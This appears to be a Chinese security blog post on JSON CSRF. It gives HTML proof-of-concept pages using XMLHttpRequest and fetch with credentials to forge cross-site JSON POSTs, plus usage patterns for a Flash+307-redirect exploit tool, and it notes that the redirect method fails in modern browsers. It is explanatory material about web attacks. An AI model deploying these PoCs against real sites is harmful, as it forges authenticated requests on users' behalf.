答案是:一般情况下,最新版本浏览器下无法实现JSON CSRF。
最新版本浏览器包括
网传flash+307跳转攻击方法只能在旧版浏览器适用,在2018年后更新版本的几乎所有浏览器,307跳转的时候并没有把Content-Type传过去而导致csrf攻击失败。本文的json csrf攻击方法仅仅是作为一种记录,在某些情况下还是能用到的。
不验证CONTENT-TYPE的情况
如果服务端没有校验Content-Type,或者没有严格校验Content-Type是否为application/json,我们可以使用XHR来实现csrf,poc如下:
<html>
<head>
<script style="text/javascript">
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://www.runoob.com/try/try.php?filename=tryhtml_intro", true);
xhr.setRequestHeader("Accept", "application/json, text/plain, */*");
xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");
xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");
xhr.withCredentials = true;
xhr.send(JSON.stringify({"serialNumber":"CYS1811291899","type":2,"temp":1,"enableTime":"2018-11-01 00:00:00","disableTime":"2018-11-29 12:00:00","name":"1","supplierCode":"","province":"天津市","city":"天津市","region":"和q区","remark":"","fromType":2,"chargeDetailList":[{"province":"山西省","city":"晋城市","region":"陵川县","price42":"1","price65":"1","price71":"1","price76":"1","priceA":"11","priceB":"","priceC":"1","times":"1","unloadPrice":"1"}]}));
}
</script>
</head>
<body>
<form action="#">
<input type="button" value="Submit request" onClick="submitRequest()"/>
</form>
</body>
</html>
验证CONTENT-TYPE的情况
当然了,使用XMLHttpRequest、fetch能构造出JSON请求,并且能设置Content-Type,但是无法跨域。
fetch发起的请求代码:
<html>
<head>
<script style="text/javascript">
function submitRequest()
{fetch('https://www.runoob.com/try/try.php?filename=tryhtml_intro', {method: 'POST', credentials: 'include', headers: {'Content-Type': 'text/plain'}, body: '{"name":"attacker","email":"attacker.com"}'});
}
</script>
</head>
<body>
<form action="#">
<input type="button" value="Submit request" onClick="submitRequest()"/>
</form>
</body>
</html>
可以利用Flash的跨域与307跳转来绕过http自定义头限制,307跟其他3XX HTTP状态码之间的区别就在于,HTTP 307可以确保重定向请求发送之后,请求方法和请求主体不会发生任何改变。HTTP 307会将POST body和HTTP头重定向到我们所指定的最终URL,并完成攻击。
利用代码:
https://github.com/Asura88/swf_json_csrf
代码调用执行模式:
http[s]://[yourhost-and-path]/test.swf?jsonData=[yourJSON]&php_url=http[s]://[yourhost-and-path]/test.php&endpoint=http[s]://[targethost-and-endpoint]
执行基于POST方法的JSON格式传输的CSRF漏洞利用,使用307跳转
https://example.com/read.html?jsonData={"test":1}&php_url=https://example.com/test.php&endpoint=https://sometargethost.com/endpoint
执行基于POST方法的XML格式传输的CSRF漏洞利用,使用307跳转
https://example.com/read.html?jsonData=[xmldada]&php_url=https://example.com/test.php&endpoint=https://sometargethost.com/endpoint&ct=application/xml
更进一步探索
Flash的Header存在一个黑名单,黑名单列表的头不允许设置,其中就有Referer。不能设置的头标如下:
Accept-Charset、Accept-Encoding、Accept-Ranges、Age、Allow、Allowed、Authorization、Charge-To、Connect、Connection、Content-Length、Content-Location、Content-Range、Cookie、Date、Delete、ETag、Expect、Get、Head、Host、Keep-Alive、Last-Modified、Location、Max-Forwards、Options、Post、Proxy-Authenticate、Proxy-Authorization、Proxy-Connection、Public、Put、Range、Referer、Request-Range、Retry-After、Server、TE、Trace、Trailer、Transfer-Encoding、Upgrade、URI、User-Agent、Vary、Via、Warning、WWW-Authenticate 和 x-flash-version
实际效果
这种flash+307跳转攻击方法只能在旧版浏览器适用,在2018年后更新版本的几乎所有浏览器,307跳转的时候并没有把Content-Type传过去而导致csrf攻击失败。所以还望寻找一种新的攻击方法,本文的json csrf攻击方法仅仅是作为一种记录,在某些情况下还是能用到的。